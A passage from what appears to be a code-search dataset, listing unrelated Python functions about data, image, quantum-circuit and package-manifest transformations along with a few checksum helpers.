eval_dict[xform_flavints]\n reco_kernel = np.zeros((n_e_in, n_cz_in, n_e_out, n_cz_out))\n\n for (i,j) in itertools.product(range(n_e_in), range(n_cz_in)):\n e_kern_cdf = self.make_cdf(\n bin_edges=en_edges_out,\n enval=en_centers_in[i],\n enindex=i,\n czval=None,\n czindex=j,\n dist_params=this_params['energy']\n )\n cz_kern_cdf = self.make_cdf(\n bin_edges=cz_edges_out,\n enval=en_centers_in[i],\n enindex=i,\n czval=cz_centers_in[j],\n czindex=j,\n dist_params=this_params['coszen']\n )\n\n if self.coszen_flipback:\n cz_kern_cdf = perform_coszen_flipback(\n cz_kern_cdf, flipback_mask, keep\n )\n\n reco_kernel[i,j] = np.outer(e_kern_cdf, cz_kern_cdf)\n\n # Sanity check of reco kernels - intolerable negative values?\n logging.trace(\" Ensuring reco kernel sanity...\")\n kern_neg_invalid = reco_kernel < -EQUALITY_PREC\n if np.any(kern_neg_invalid):\n raise ValueError(\"Detected intolerable negative entries in\"\n \" reco kernel! Min.: %.15e\"\n % np.min(reco_kernel))\n\n # Set values numerically compatible with zero to zero\n np.where(\n (np.abs(reco_kernel) < EQUALITY_PREC), reco_kernel, 0\n )\n sum_over_axes = tuple(range(-len(self.output_binning), 0))\n totals = np.sum(reco_kernel, axis=sum_over_axes)\n totals_large = totals > (1 + EQUALITY_PREC)\n if np.any(totals_large):\n raise ValueError(\"Detected overflow in reco kernel! Max.:\"\n \" %0.15e\" % (np.max(totals)))\n\n if self.input_binning.basenames[0] == \"coszen\":\n # The reconstruction kernel has been set up with energy as its\n # first dimension, so swap axes if it is applied to an input\n # binning where 'coszen' is the first\n logging.trace(\" Swapping kernel dimensions since 'coszen' has\"\n \" been requested as the first.\")\n reco_kernel = np.swapaxes(reco_kernel, 0, 1)\n reco_kernel = np.swapaxes(reco_kernel, 2, 3)\n\n\n if self.sum_grouped_flavints:\n xform_input_names = []\n for input_name in self.input_names:\n if set(NuFlavIntGroup(input_name)).isdisjoint(xform_flavints):\n continue\n xform_input_names.append(input_name)\n\n for output_name in self.output_names:\n if output_name not in xform_flavints:\n continue\n xform = BinnedTensorTransform(\n input_names=xform_input_names,\n output_name=output_name,\n input_binning=self.input_binning,\n output_binning=self.output_binning,\n xform_array=reco_kernel,\n sum_inputs=self.sum_grouped_flavints\n )\n xforms.append(xform)\n # If *not* combining grouped flavints:\n # Copy the transform for each input flavor, regardless if the\n # transform is computed from a combination of flavors.\n else:\n for input_name in self.input_names:\n if set(NuFlavIntGroup(input_name)).isdisjoint(xform_flavints):\n continue\n for output_name in self.output_names:\n if (output_name not in NuFlavIntGroup(input_name)\n or output_name not in xform_flavints):\n continue\n logging.trace(' input: %s, output: %s, xform: %s',\n input_name, output_name, xform_flavints)\n\n xform = BinnedTensorTransform(\n input_names=input_name,\n output_name=output_name,\n input_binning=self.input_binning,\n output_binning=self.output_binning,\n xform_array=reco_kernel,\n sum_inputs=self.sum_grouped_flavints\n )\n xforms.append(xform)\n\n return TransformSet(transforms=xforms)","def transform(self, data, input_content_type, output_content_type):\n return self.transform_fn(data, input_content_type, output_content_type)","def generate_transforms_data(image1_data, image2_data):\n\n transformations = dict(\n unchanged=Transform('unchanged', image1_data, image2_data),\n reflected_vert=Transform(\n 'reflected_vert', image1_data, image2_data),\n reflected_horiz=Transform(\n 'reflected_horiz', image1_data, image2_data),\n rotated_90=Transform('rotated_90', image1_data, image2_data),\n rotated_180=Transform('rotated_180', image1_data, image2_data),\n rotated_270=Transform('rotated_270', image1_data, image2_data)\n )\n\n transformations_names = [\n 'unchanged',\n 'reflected_vert',\n 'reflected_horiz',\n 'rotated_90',\n 'rotated_180',\n 'rotated_270'\n ]\n\n best_match = transformations['unchanged']\n for transformation in transformations_names:\n if transformations[transformation].match > best_match.match:\n best_match = transformations[transformation]\n if best_match.match > .98:\n break\n return {best_match.name: best_match}","def apply(\n self,\n input_dict: typing_utils.ArtifactMultiMap,\n ) -> typing_utils.ArtifactMultiMap:","def simulator_transform(input_dict, operation):\n # set the random state\n random_state = np.random.RandomState(0)\n random_state.set_state(input_dict[\"random_state\"])\n batch_size = input_dict[\"n\"]\n data = operation(*input_dict[\"data\"], batch_size=batch_size, random_state=random_state)\n if not isinstance(data, np.ndarray):\n raise ValueError(\"Simulation operation output type incorrect.\" +\n \"Expected type np.ndarray, received type {}\".format(type(data)))\n if data.shape[0] != batch_size or len(data.shape) < 2:\n raise ValueError(\"Simulation operation output format incorrect.\" +\n \" Expected shape == ({}, ...).\".format(batch_size) +\n \" Received shape == {}.\".format(data.shape))\n return to_output_dict(input_dict, data=data, random_state=random_state.get_state())","def transform(self, dataset, params=None):\n if params is None:\n params = dict()\n if isinstance(params, dict):\n if params:\n return self.copy(params)._transform(dataset)\n else:\n return self._transform(dataset)\n else:\n raise ValueError(\"Params must be a param map but got %s.\" % type(params))","def add_transform(transform, filename, lineno):\n\n # strip off transform\n s = transform[10:]\n # make error messages familiar\n transform = \"<\" + transform + \">\"\n\n try:\n index = s.index(\"->\")\n except ValueError:\n raise RuntimeError(_(\"Missing -> in transform\"))\n matching = s[0:index].strip().split()\n types = [a for a in matching if \"=\" not in a]\n attrdict = pkg.actions.attrsfromstr(\" \".join([a for a in matching if \"=\" in a]))\n\n for a in attrdict:\n try:\n attrdict[a] = re.compile(attrdict[a])\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has regexp error \"\n \"({err}) in matching clause\"\n ).format(transform=transform, err=e))\n\n op = s[index+2:].strip().split(None, 1)\n\n # use closures to encapsulate desired operation\n\n if op[0] == \"drop\":\n if len(op) > 1:\n raise RuntimeError(\n _(\"transform ({0}) has 'drop' operation syntax error\"\n ).format(transform))\n operation = lambda a, m, p, f, l: None\n\n elif op[0] == \"set\":\n try:\n attr, value = shlex.split(op[1])\n except ValueError:\n raise RuntimeError(\n _(\"transform ({0}) has 'set' operation syntax error\"\n ).format(transform))\n def set_func(action, matches, pkg_attrs, filename, lineno):\n newattr = substitute_values(attr, action, matches,\n pkg_attrs, filename, lineno)\n newval = substitute_values(value, action, matches,\n pkg_attrs, filename, lineno)\n if newattr == \"action.hash\":\n if hasattr(action, \"hash\"):\n action.hash = newval\n else:\n action.attrs[newattr] = newval\n return action\n operation = set_func\n\n elif op[0] == \"default\":\n try:\n attr, value = shlex.split(op[1])\n except ValueError:\n raise RuntimeError(\n _(\"transform ({0}) has 'default' operation syntax error\"\n ).format(transform))\n\n def default_func(action, matches, pkg_attrs, filename, lineno):\n newattr = substitute_values(attr, action, matches,\n pkg_attrs, filename, lineno)\n if newattr not in action.attrs:\n newval = substitute_values(value, action,\n matches, pkg_attrs, filename, lineno)\n action.attrs[newattr] = newval\n return action\n operation = default_func\n\n elif op[0] == \"abort\":\n if len(op) > 1:\n raise RuntimeError(_(\"transform ({0}) has 'abort' \"\n \"operation syntax error\").format(transform))\n\n def abort_func(action, matches, pkg_attrs, filename, lineno):\n sys.exit(0)\n\n operation = abort_func\n\n elif op[0] == \"exit\":\n exitval = 0\n msg = None\n\n if len(op) == 2:\n args = op[1].split(None, 1)\n try:\n exitval = int(args[0])\n except ValueError:\n raise RuntimeError(_(\"transform ({0}) has 'exit' \"\n \"operation syntax error: illegal exit value\").format(\n transform))\n if len(args) == 2:\n msg = args[1]\n\n def exit_func(action, matches, pkg_attrs, filename, lineno):\n if msg:\n newmsg = substitute_values(msg, action,\n matches, pkg_attrs, filename, lineno,\n quote=True)\n print(newmsg, file=sys.stderr)\n sys.exit(exitval)\n\n operation = exit_func\n\n elif op[0] == \"add\":\n try:\n attr, value = shlex.split(op[1])\n except ValueError:\n raise RuntimeError(\n _(\"transform ({0}) has 'add' operation syntax error\"\n ).format(transform))\n\n def add_func(action, matches, pkg_attrs, filename, lineno):\n newattr = substitute_values(attr, action, matches,\n pkg_attrs, filename, lineno)\n newval = substitute_values(value, action, matches,\n pkg_attrs, filename, lineno)\n if newattr in action.attrs:\n av = action.attrs[newattr]\n if isinstance(av, list):\n action.attrs[newattr].append(newval)\n else:\n action.attrs[newattr] = [ av, newval ]\n else:\n action.attrs[newattr] = newval\n return action\n operation = add_func\n\n elif op[0] == \"edit\":\n if len(op) < 2:\n raise RuntimeError(\n _(\"transform ({0}) has 'edit' operation syntax error\"\n ).format(transform))\n\n args = shlex.split(op[1])\n if len(args) not in [2, 3]:\n raise RuntimeError(\n _(\"transform ({0}) has 'edit' operation syntax error\"\n ).format(transform))\n attr = args[0]\n\n # Run args[1] (the regexp) through substitute_values() with a\n # bunch of bogus values to see whether it triggers certain\n # exceptions. If it does, then substitution would have\n # occurred, and we can't compile the regex now, but wait until\n # we can correctly run substitute_values().\n try:\n substitute_values(args[1], None, [], None, None, None)\n regexp = re.compile(args[1])\n except (AttributeError, RuntimeError):\n regexp = args[1]\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has 'edit' operation \"\n \"with malformed regexp ({err})\").format(\n transform=transform, err=e))\n\n if len(args) == 3:\n replace = args[2]\n else:\n replace = \"\"\n\n def replace_func(action, matches, pkg_attrs, filename, lineno):\n newattr = substitute_values(attr, action, matches,\n pkg_attrs, filename, lineno)\n newrep = substitute_values(replace, action, matches,\n pkg_attrs, filename, lineno)\n val = attrval_as_list(action.attrs, newattr)\n\n if not val:\n return action\n\n # It's now appropriate to compile the regexp, if there\n # are substitutions to be made. So do the substitution\n # and compile the result.\n if isinstance(regexp, basestring):\n rx = re.compile(substitute_values(regexp,\n action, matches, pkg_attrs, filename, lineno))\n else:\n rx = regexp\n\n try:\n action.attrs[newattr] = [\n rx.sub(newrep, v)\n for v in val\n ]\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has edit \"\n \"operation with replacement string regexp \"\n \"error {err}\").format(\n transform=transform, err=e))\n return action\n\n operation = replace_func\n\n elif op[0] == \"delete\":\n if len(op) < 2:\n raise RuntimeError(\n _(\"transform ({0}) has 'delete' operation syntax error\"\n ).format(transform))\n\n args = shlex.split(op[1])\n if len(args) != 2:\n raise RuntimeError(\n _(\"transform ({0}) has 'delete' operation syntax error\"\n ).format(transform))\n attr = args[0]\n\n try:\n regexp = re.compile(args[1])\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has 'delete' operation\"\n \"with malformed regexp ({err})\").format(\n transform=transform, err=e))\n\n def delete_func(action, matches, pkg_attrs, filename, lineno):\n val = attrval_as_list(action.attrs, attr)\n if not val:\n return action\n try:\n new_val = [\n v\n for v in val\n if not regexp.search(v)\n ]\n\n if new_val:\n action.attrs[attr] = new_val\n else:\n del action.attrs[attr]\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has delete \"\n \"operation with replacement string regexp \"\n \"error {err}\").format(\n transform=transform, err=e))\n return action\n\n operation = delete_func\n\n elif op[0] == \"print\":\n if len(op) > 2:\n raise RuntimeError(_(\"transform ({0}) has 'print' \"\n \"operation syntax error\").format(transform))\n\n if len(op) == 1:\n msg = \"\"\n else:\n msg = op[1]\n\n def print_func(action, matches, pkg_attrs, filename, lineno):\n newmsg = substitute_values(msg, action, matches,\n pkg_attrs, filename, lineno, quote=True)\n\n printinfo.append(\"{0}\".format(newmsg))\n return action\n\n operation = print_func\n\n elif op[0] == \"emit\":\n if len(op) > 2:\n raise RuntimeError(_(\"transform ({0}) has 'emit' \"\n \"operation syntax error\").format(transform))\n\n if len(op) == 1:\n msg = \"\"\n else:\n msg = op[1]\n\n def emit_func(action, matches, pkg_attrs, filename, lineno):\n newmsg = substitute_values(msg, action, matches,\n pkg_attrs, filename, lineno, quote=True)\n\n if not newmsg.strip() or newmsg.strip()[0] == \"#\":\n return (newmsg, action)\n try:\n return (pkg.actions.fromstr(newmsg), action)\n except (pkg.actions.MalformedActionError,\n pkg.actions.UnknownActionError,\n pkg.actions.InvalidActionError) as e:\n raise RuntimeError(e)\n\n operation = emit_func\n\n else:\n raise RuntimeError(_(\"unknown transform operation '{0}'\").format(op[0]))\n\n transforms.append((types, attrdict, operation, filename, lineno, transform))","def transform(self, *fs):\n return transform(self, *fs)","def _calculate_transforms(self):\n\n self._logger.info(\"Generating transformations.\")\n\n # Calculate partial transforms - get partial transformation chain;\n partial_transformation_pairs = \\\n map(lambda idx: self._get_slice_pair(idx),\n self.options.slice_range)\n\n # Flatten the slices pairs\n partial_transformation_pairs =\\\n list(flatten(partial_transformation_pairs))\n\n # If user decided to prealign the images by their centre of gravity\n # an additional series of transformations has to be carried out.\n if self.options.enableMomentsAlignment:\n commands = map(lambda x: self._get_cog_alignment(*x),\n partial_transformation_pairs)\n commands = filter(None, commands)\n\n self._logger.info(\"Executing the centre of gravity transforms.\")\n self.execute(commands)\n\n # Calculate affine transformation for each slices pair\n commands = map(lambda x: self._get_partial_transform(*x),\n partial_transformation_pairs)\n commands = filter(None, commands)\n self._logger.info(\"Executing the transformation commands.\")\n self.execute(commands)","def transform_fn(transforms, params, invert=False):\n if invert:\n transforms = {k: v.inv for k, v in transforms.items()}\n return {k: transforms[k](v) if k in transforms else v\n for k, v in params.items()}","def transform(self, data):","def apply(self, transform_func):\n #input_shapes = transform_func.input_shapes\n #input_types = transform_func.input_types\n #data_shapes = transform_func.data_shapes\n #data_types = transform_func.data_types\n #assert input_shapes == self._data_shapes\n #assert input_types = self._data_types\n ret_gen = transform_func(self.generator)\n ret = type(self).from_generator_func(ret_gen)\n if self.name is not None:\n ret.name = self.name\n #ret.data_shapes = data_shapes\n #ret.data_types = data_types\n return ret","def apply_param_transformations(self,params_edict,**kwargs):\n if self.params_transforms == None:\n return params_edict\n for key,transform_function in self.params_transforms.items():\n params_edict[key] = transform_function(params_edict,**kwargs)\n return params_edict","def apply(args):\n html_doc = document.Document(get_code(args.file))\n with open(args.transform_file, 'r', encoding='UTF-8') as tfr_file:\n tfr_json = yaml.load(tfr_file)\n not_applied = html_doc.apply(tfr_json)\n\n if len(not_applied) == 0:\n print('All transforms applied.')\n else:\n print('The following transforms could not be applied:')\n print(yaml.dump(not_applied))\n set_code(args.file, html_doc)","def transform(self, results: Dict) -> Optional[Dict]:\n for t in self.transforms:\n results = t(results) # type: ignore\n if results is None:\n return None\n return results","def _get_checksum(self, arg):","def tarsum(input_file, hash, output_file):\n tar = tarfile.open(mode=\"r:*\", fileobj=input_file)\n\n chunk_size = 100*1024\n store_digests = {}\n\n for member in tar:\n if not member.isfile():\n continue\n f = tar.extractfile(member)\n h = hashlib.new(hash)\n data = f.read(chunk_size)\n while data:\n h.update(data)\n data = f.read(chunk_size)\n output_file.write(\"%s %s\\n\" % (h.hexdigest(), member.name))","def get_all_transforms(self) -> Dict[str, Callable]:\n # Convert magnitude to argument for each transform\n level = self.magnitude / self._max_magnitude\n angle = self.randomly_negate_level(level) * self._max_angle\n x_shift = self.randomly_negate_level(level) * self._max_x_shift\n y_shift = self.randomly_negate_level(level) * self._max_y_shift\n # Contrast / brightness factor of 1 means no change. 0 means black, 2 means times 2.\n contrast = self.randomly_negate_level(level) * self._max_contrast + 1\n brightness = self.randomly_negate_level(level) * self._max_brightness + 1\n transforms_dict = {\n \"identity\": self.identity(),\n \"rotate\": self.rotate(angle),\n \"translateX\": self.translateX(x_shift),\n \"translateY\": self.translateY(y_shift),\n \"hFlip\": self.horizontal_flip()\n }\n if self.for_segmentation_input_maps:\n return transforms_dict\n\n transforms_dict.update(\n {\"constrast\": self.adjust_contrast(contrast),\n \"brightness\": self.adjust_brightness(brightness),\n })\n\n return transforms_dict","def map_dict(dictionary, transform):\n return dict(transform(k, v) for k, v in dictionary.items())","def _apply_transformations(structure, rotations, translations):\n # Additional first dimension for 'structure.repeat()'\n assembly_coord = np.zeros((len(rotations),) + structure.coord.shape)\n\n # Apply corresponding transformation for each copy in the assembly\n for i, (rotation, translation) in enumerate(zip(rotations, translations)):\n coord = structure.coord\n # Rotate\n coord = matrix_rotate(coord, rotation)\n # Translate\n coord += translation\n assembly_coord[i] = coord\n\n return repeat(structure, assembly_coord)","def apply(hash_value: str, dir_path: str, file_path: str) -> None:\n core.apply(hash_value, dir_path, file_path)","def attrTransform(self, matrix, transform):\n for ttype, targs in self.reTransformFind.findall(transform):\n targs = list(map(lambda x: float(x), self.reNumberFind.findall(targs)))\n if ttype == 'matrix':\n newmatrix = [ targs[0], targs[1],\n targs[2], targs[3],\n targs[4], targs[5] ]\n self.matrixMul(matrix, newmatrix)\n elif ttype == 'translate':\n tx = targs[0]\n ty = targs[1] if len(targs) > 1 else 0\n newmatrix = [ 1, 0, 0, 1, tx, ty ]\n self.matrixMul(matrix, newmatrix)\n elif ttype == 'scale':\n sx = targs[0]\n sy = targs[1] if len(targs) > 1 else sx\n newmatrix = [ sx, 0, 0, sy, 0, 0 ]\n self.matrixMul(matrix, newmatrix)\n elif ttype == 'rotate':\n if len(targs) == 1:\n alpha = targs[0]\n newmatrix = [ math.cos(alpha), math.sin(alpha),\n -math.sin(alpha), math.cos(alpha),\n 0, 0]\n self.matrixMul(matrix, newmatrix)\n else:\n alpha = targs[0]\n newmatrix = [ 1, 0, 0, 1, targs[1], targs[2] ]\n self.matrixMul(matrix, newmatrix)\n newmatrix = [ math.cos(alpha), math.sin(alpha),\n -math.sin(alpha), math.cos(alpha),\n 0, 0]\n self.matrixMul(matrix, newmatrix)\n newmatrix = [ 1, 0, 0, 1, -targs[1], -targs[2] ]\n self.matrixMul(matrix, newmatrix)\n elif ttype == 'skewX' or ttype == 'skewY':\n self.alert(\"skewX and skewY transformations are not supported\", elem)\n else:\n print('unknown transform type: ', ttype)\n return matrix","def evolve(transformations, object):\n o = clone(object)\n for k, v in transformations.items():\n try:\n if isinstance(v, dict):\n o[k] = evolve(v, o[k])\n else:\n o[k] = v(o[k])\n except KeyError:\n continue\n\n return o","def run_suite():\n print(\"*Input*\")\n input_str = get_input()\n stripped = strip(input_str)\n\n print(\"*Transform*\")\n operation, transformed = transform(stripped)\n\n print(\"*Output*\")\n output(operation, transformed)","def _add_checksum(self, dct):\n md5_cksum = None","def append_transformations(self, parameter_dict):\n parameter_dicts_from_transformations = [\n x.transform(self.data_dict, parameter_dict) for x in self.transformations\n ]\n for parameter_dict_from_transformations in parameter_dicts_from_transformations:\n parameter_dict.update(parameter_dict_from_transformations)\n\n return parameter_dict","def transform(self, results: Dict) -> Optional[Dict]:\n idx = self.random_pipeline_index()\n return self.transforms[idx](results)","def transform_(self, input, format, signature=None):\n\n if self.cache:\n if signature is None:\n use_signature = self.update_signature(\n input, format).hexdigest()\n else:\n use_signature = signature\n\n cache_file = os.path.join(self.cache_dir, use_signature)\n if self.cache == 2 and os.path.exists(cache_file):\n # User wants to clobber cache\n os.remove(cache_file)\n\n try:\n result = self.load(use_signature)\n if self._verbose:\n self._print(\"Loaded results from cache file {} using signature: {}\".format(\n cache_file, use_signature))\n except Exception:\n if signature is None:\n signature = self.update_signature(\n input, format).hexdigest()\n result = self.transform(input, format)\n if self.cache > 0: # Ok user wants to cache results\n if not os.path.exists(self.cache_dir):\n os.makedirs(self.cache_dir)\n self.save(signature, result)\n else:\n result = self.transform(input, format)\n return result","def step_impl(context, objects_type):\n log.info(\"=====> Ensure that the md5sum of the objects retrieved from the Cache matches the md5sum of the original object\")\n\n if objects_type == \"ObjectsTest1\":\n object_list = resourceset_parameters.ObjectsTest1\n elif objects_type == \"ObjectsTest2\":\n object_list = resourceset_parameters.ObjectsTest2\n elif objects_type == \"ObjectsTest4\":\n object_list = resourceset_parameters.ObjectsTest4\n else:\n assert False, \" ****> Failed: No objects_type parameter while posting. Got: {objects_type}\".format(objects_type=objects_type)\n\n for i in object_list:\n command = \"md5sum /tmp/\" + resourceset_parameters.Object_names[i] + \" | awk '{print $1}'\"\n result = send_telnet_command(command)\n if md5_of_files[i] in result:\n log.info(\" *****> Passed: The md5sum of the {object_names} matches the value previously obtained\".format(object_names=resourceset_parameters.Object_names[i]))\n else:\n assert False, \" *****> Failed: The md5sum of the {object_names} does not match the value previously obtained\".format(object_names=resourceset_parameters.Object_names[i])","def process_input(input_dict, UUID=None, build=True):\n # Set script's name\n input_dict['script'] = script\n \n # Set calculation UUID\n if UUID is not None:\n input_dict['calc_key'] = UUID\n else:\n input_dict['calc_key'] = input_dict.get('calc_key', str(uuid.uuid4()))\n \n # Set default input/output units\n iprPy.input.subset('units').interpret(input_dict)\n \n # These are calculation-specific default strings\n input_dict['symbols'] = input_dict['symbols'].split()\n \n # These are calculation-specific default booleans\n # None for this calculation\n \n # These are calculation-specific default integers\n input_dict['number_of_steps_r'] = int(input_dict.get('number_of_steps_r', 100))\n input_dict['number_of_steps_theta'] = int(input_dict.get('number_of_steps_theta', 100))\n \n # These are calculation-specific default unitless floats\n input_dict['minimum_theta'] = float(input_dict.get('minimum_theta', 1.0))\n input_dict['maximum_theta'] = float(input_dict.get('maximum_theta', 180.0))\n \n # These are calculation-specific default floats with units\n input_dict['minimum_r'] = iprPy.input.value(input_dict, 'minimum_r',\n default_unit=input_dict['length_unit'],\n default_term='0.5 angstrom')\n input_dict['maximum_r'] = iprPy.input.value(input_dict, 'maximum_r',\n default_unit=input_dict['length_unit'],\n default_term='5.5 angstrom')\n \n # Check lammps_command and mpi_command\n iprPy.input.subset('lammps_commands').interpret(input_dict)\n \n # Load potential\n iprPy.input.subset('lammps_potential').interpret(input_dict)","def Do(self, input_dict: Dict[str, List[types.Artifact]],\n output_dict: Dict[str, List[types.Artifact]],\n exec_properties: Dict[str, Any]) -> None:\n for output_key, artifact_list in output_dict.items():\n for idx, artifact in enumerate(artifact_list):\n dest = artifact.uri\n src = os.path.join(self._test_data_dir, self._component_id, output_key,\n str(idx))\n if not fileio.exists(src):\n raise FileNotFoundError(\"{} does not exist\".format(src))\n io_utils.copy_dir(src, dest)\n logging.info(\"Finished copying from %s to %s\", src, dest)","def transform(self, results: Dict) -> Optional[Dict]:\n if self.random_apply():\n return self.transforms(results) # type: ignore\n else:\n return results","def transform(self, inputs: list, stage: str) -> datapack.DataPack:","def process(self):\n self.extract()\n self.transform()\n self.load()","def main():\n\n ruleset, meta = parse_input(get_input())\n start, steps = meta\n x = run(ruleset, start, steps)\n print(\"Checksum is {}.\".format(x))\n\n return","def _init_transform(self, operation, **kwargs):\n self._operation = operation\n transform = partial(self.__class__.operation_transform, operation=operation)\n return transform, kwargs","def _compose_transforms(basis_transforms, source_basis, source_dag):\n example_gates = _get_example_gates(source_dag)\n mapped_instrs = {}\n\n for gate_name, gate_num_qubits in source_basis:\n # Need to grab a gate instance to find num_qubits and num_params.\n # Can be removed following https://github.com/Qiskit/qiskit-terra/pull/3947 .\n example_gate = example_gates[gate_name, gate_num_qubits]\n num_params = len(example_gate.params)\n\n placeholder_params = ParameterVector(gate_name, num_params)\n placeholder_gate = Gate(gate_name, gate_num_qubits, list(placeholder_params))\n placeholder_gate.params = list(placeholder_params)\n\n dag = DAGCircuit()\n qr = QuantumRegister(gate_num_qubits)\n dag.add_qreg(qr)\n dag.apply_operation_back(placeholder_gate, qr[:], [])\n mapped_instrs[gate_name, gate_num_qubits] = placeholder_params, dag\n\n for gate_name, gate_num_qubits, equiv_params, equiv in basis_transforms:\n logger.debug(\n \"Composing transform step: %s/%s %s =>\\n%s\",\n gate_name,\n gate_num_qubits,\n equiv_params,\n equiv,\n )\n\n for mapped_instr_name, (dag_params, dag) in mapped_instrs.items():\n doomed_nodes = [\n node\n for node in dag.op_nodes()\n if (node.op.name, node.op.num_qubits) == (gate_name, gate_num_qubits)\n ]\n\n if doomed_nodes and logger.isEnabledFor(logging.DEBUG):\n\n logger.debug(\n \"Updating transform for mapped instr %s %s from \\n%s\",\n mapped_instr_name,\n dag_params,\n dag_to_circuit(dag, copy_operations=False),\n )\n\n for node in doomed_nodes:\n\n replacement = equiv.assign_parameters(\n dict(zip_longest(equiv_params, node.op.params))\n )\n\n replacement_dag = circuit_to_dag(replacement)\n\n dag.substitute_node_with_dag(node, replacement_dag)\n\n if doomed_nodes and logger.isEnabledFor(logging.DEBUG):\n\n logger.debug(\n \"Updated transform for mapped instr %s %s to\\n%s\",\n mapped_instr_name,\n dag_params,\n dag_to_circuit(dag, copy_operations=False),\n )\n\n return mapped_instrs","def run(self, filekey, blobkey):\n output = yield mapreduce_pipeline.MapreducePipeline(\n \"daily_speed_sum\",\n \"map_reduce.daily_speed_sum_map\",\n \"map_reduce.daily_speed_sum_reduce\",\n \"mapreduce.input_readers.BlobstoreZipLineInputReader\",\n \"mapreduce.output_writers.BlobstoreOutputWriter\",\n\t\tmapper_params={\n\t\t\t\"blob_keys\": blobkey,\n },\n reducer_params={\n \"mime_type\": \"text/plain\",\n },\n shards=16)\n yield StoreOutput(\"DailySpeedSum\", filekey, output)","def _default_transform_fn(self, model, input_data, content_type, accept, context=None):\n # pylint: disable=unused-argument\n data = self._run_handler_function(self._input_fn, *(input_data, content_type))\n prediction = self._run_handler_function(self._predict_fn, *(data, model))\n result = self._run_handler_function(self._output_fn, *(prediction, accept))\n return result","def retransformation(decompressed_sequence:str, binary_dict:dict, calcul_byte:int):\r\n if calcul_byte != 0:\r\n calcul_byte = (8-calcul_byte)\r\n decompressed_sequence = decompressed_sequence[calcul_byte:]\r\n \"\"\"\r\n Allows you to remove the zeros added at the beginning of a binary \r\n string to make a multiple of 8\r\n \"\"\"\r\n decompress_sequence = \"\"\r\n counter = 0\r\n for position in range(0, len(decompressed_sequence)+1, 1):\r\n if decompressed_sequence[counter:position] in binary_dict.keys():\r\n decompress_sequence += binary_dict[decompressed_sequence[counter:position]]\r\n counter = position\r\n return decompressed_sequence, decompress_sequence","def test_transform_file(self, mock_transform_object):\n mock_transform_object.return_value = {}\n with CliRunner().isolated_filesystem() as t:\n transform_path = \"transform/out.jsonl.gz\"\n\n # Create works entity file\n works = {\"works\": \"content\"}\n works_download_path = \"works.jsonl.gz\"\n with gzip.open(works_download_path, \"wt\", encoding=\"ascii\") as f_out:\n json.dump(works, f_out)\n\n # Create other entity file (concepts or institution)\n concepts = {\"concepts\": \"content\"}\n concepts_download_path = \"concepts.jsonl.gz\"\n with gzip.open(concepts_download_path, \"wt\", encoding=\"ascii\") as f_out:\n json.dump(concepts, f_out)\n\n # Test when dir of transform path does not exist yet, using 'works' entity'\n self.assertFalse(os.path.isdir(os.path.dirname(transform_path)))\n\n transform_file(works_download_path, transform_path)\n mock_transform_object.assert_called_once_with(works, \"abstract_inverted_index\")\n mock_transform_object.reset_mock()\n os.remove(transform_path)\n\n # Test when dir of transform path does exist, using 'works' entity\n self.assertTrue(os.path.isdir(os.path.dirname(transform_path)))\n\n transform_file(works_download_path, transform_path)\n self.assert_file_integrity(transform_path, \"682a6d42\", \"gzip_crc\")\n mock_transform_object.assert_called_once_with(works, \"abstract_inverted_index\")\n mock_transform_object.reset_mock()\n os.remove(transform_path)\n\n # Test for \"concepts\" and \"institution\" entities\n transform_file(concepts_download_path, transform_path)\n self.assert_file_integrity(transform_path, \"d8cafe16\", \"gzip_crc\")\n mock_transform_object.assert_called_once_with(concepts, \"international\")","def _set_transforms(self, transform: Dict[str, Union[Field, Dict]]) -> None:\n columns: Union[int, List[int]]\n\n for k, t in enumerate(transform.items()):\n name, value = t\n if isinstance(value, Field):\n field = value\n columns = k\n else:\n try:\n field, tmp_cols = value['field'], value.get('columns', k)\n\n # Process as list to avoid repeating code\n if not isinstance(tmp_cols, List):\n tmp_cols = [tmp_cols]\n\n for i, c in enumerate(tmp_cols[:]):\n if isinstance(c, str):\n if not self.named_columns:\n raise ValueError(\n \"Columns parameter is required for str-based indexing\"\n )\n try:\n tmp_cols[i] = self.named_columns.index(c)\n except ValueError:\n raise ValueError(\n f\"Dataset has no column name {c}. \" +\n f\"Available columns: {self.named_columns}\"\n )\n\n columns = tmp_cols\n\n # If it was a value originally then process\n # it as a single value\n if len(tmp_cols) == 1:\n columns = tmp_cols[0]\n\n except KeyError:\n raise ValueError(\n f\"If a dict is provided in 'transform', then it must have the 'field' key.\"\n f\" transform item = {k, t}\"\n )\n\n setattr(self, name, field)\n args = [self._train[:, columns]]\n if self._val is not None:\n args.append(self._val[:, columns])\n if self._test is not None:\n args.append(self._test[:, columns])\n field.setup(*args)\n self.transform_hooks.append((field, columns))","def __call__(\n self,\n sample_dict: NDict,\n key: str,\n z_rot: float = 0.0,\n y_rot: float = 0.0,\n x_rot: float = 0,\n ) -> NDict:\n aug_input = sample_dict[key]\n assert len(aug_input.shape) == 3 # will only work for 3d\n if z_rot != 0:\n aug_input = TTF.rotate(aug_input, angle=z_rot)\n if x_rot != 0:\n aug_input = aug_input.permute(dims=(2, 0, 1))\n aug_input = TTF.rotate(aug_input, angle=x_rot)\n aug_input = aug_input.permute(dims=(1, 2, 0))\n if y_rot != 0:\n aug_input = aug_input.permute(dims=(1, 0, 2))\n aug_input = TTF.rotate(aug_input, angle=y_rot)\n aug_input = aug_input.permute(dims=(1, 0, 2))\n\n sample_dict[key] = aug_input\n return sample_dict","def fit_transform(self, *args, **kwargs):\n self.fit(*args, **kwargs)\n return self.transform(*args, **kwargs)","def transform(self, results: Dict):\n\n # Apply input remapping\n inputs = self._map_input(results, self.mapping)\n\n # Scatter sequential inputs into a list\n input_scatters = self.scatter_sequence(inputs)\n\n # Control random parameter sharing with a context manager\n if self.share_random_params:\n # The context manager :func`:cache_random_params` will let\n # cacheable method of the transforms cache their outputs. Thus\n # the random parameters will only generated once and shared\n # by all data items.\n ctx = cache_random_params # type: ignore\n else:\n ctx = nullcontext # type: ignore\n\n with ctx(self.transforms):\n output_scatters = [\n self._apply_transforms(_input) for _input in input_scatters\n ]\n\n # Collate output scatters (list of dict to dict of list)\n outputs = {\n key: [_output[key] for _output in output_scatters]\n for key in output_scatters[0]\n }\n\n # Apply remapping\n outputs = self._map_output(outputs, self.remapping)\n\n results.update(outputs)\n return results","def _calculate_composite_transforms(self):\n\n 